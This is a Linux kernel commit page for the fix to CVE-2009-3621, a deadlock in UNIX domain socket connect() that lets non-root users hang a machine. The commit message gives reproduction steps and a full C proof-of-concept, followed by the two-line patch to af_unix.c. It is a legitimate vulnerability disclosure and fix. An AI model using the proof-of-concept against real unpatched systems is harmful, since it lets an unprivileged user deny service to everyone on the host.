summaryrefslogtreecommitdiff
path: root/net
diff options
context:
space:
mode:
authorTomoki Sekiyama <tomoki.sekiyama.qu@hitachi.com>2009-10-18 23:17:37 -0700
committerGreg Kroah-Hartman <gregkh@suse.de>2009-11-09 16:52:21 -0800
commit7be3b35420ebca1359a874c474bb5d3703435c0b (patch)
tree9c239369332870767b7be88937250abb02e87e53 /net
parent91d5ee32e8562dbb2cb801e85d15f39a81849147 (diff)
downloadlwn-7be3b35420ebca1359a874c474bb5d3703435c0b.tar.gz
lwn-7be3b35420ebca1359a874c474bb5d3703435c0b.zip
AF_UNIX: Fix deadlock on connecting to shutdown socket (CVE-2009-3621)
commit 77238f2b942b38ab4e7f3aced44084493e4a8675 upstream. I found a deadlock bug in UNIX domain socket, which makes able to DoS attack against the local machine by non-root users. How to reproduce: 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct namespace(*), and shutdown(2) it. 2. Repeat connect(2)ing to the listening socket from the other sockets until the connection backlog is full-filled. 3. connect(2) takes the CPU forever. If every core is taken, the system hangs. PoC code: (Run as many times as cores on SMP machines.) int main(void) { int ret; int csd; int lsd; struct sockaddr_un sun; /* make an abstruct name address (*) */ memset(&sun, 0, sizeof(sun)); sun.sun_family = PF_UNIX; sprintf(&sun.sun_path[1], "%d", getpid()); /* create the listening socket and shutdown */ lsd = socket(AF_UNIX, SOCK_STREAM, 0); bind(lsd, (struct sockaddr *)&sun, sizeof(sun)); listen(lsd, 1); shutdown(lsd, SHUT_RDWR); /* connect loop */ alarm(15); /* forcely exit the loop after 15 sec */ for (;;) { csd = socket(AF_UNIX, SOCK_STREAM, 0); ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun)); if (-1 == ret) { perror("connect()"); break; } puts("Connection OK"); } return 0; } (*) Make sun_path[0] = 0 to use the abstruct namespace. If a file-based socket is used, the system doesn't deadlock because of context switches in the file system layer. Why this happens: Error checks between unix_socket_connect() and unix_wait_for_peer() are inconsistent. The former calls the latter to wait until the backlog is processed. Despite the latter returns without doing anything when the socket is shutdown, the former doesn't check the shutdown state and just retries calling the latter forever. Patch: The patch below adds shutdown check into unix_socket_connect(), so connect(2) to the shutdown socket will return -ECONREFUSED. Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu@hitachi.com> Signed-off-by: Masanori Yoshida <masanori.yoshida.tv@hitachi.com> Cc: Chuck Ebbert <cebbert@redhat.com> Signed-off-by: David S. Miller <davem@davemloft.net>
Diffstat (limited to 'net')
-rw-r--r--net/unix/af_unix.c2
1 files changed, 2 insertions, 0 deletions
diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
index 8e66fe0d8cdd..facdaa989acf 100644
--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
@@ -1061,6 +1061,8 @@ restart:
err = -ECONNREFUSED;
if (other->sk_state != TCP_LISTEN)
goto out_unlock;
+ if (other->sk_shutdown & RCV_SHUTDOWN)
+ goto out_unlock;
if (unix_recvq_full(other)) {
err = -EAGAIN;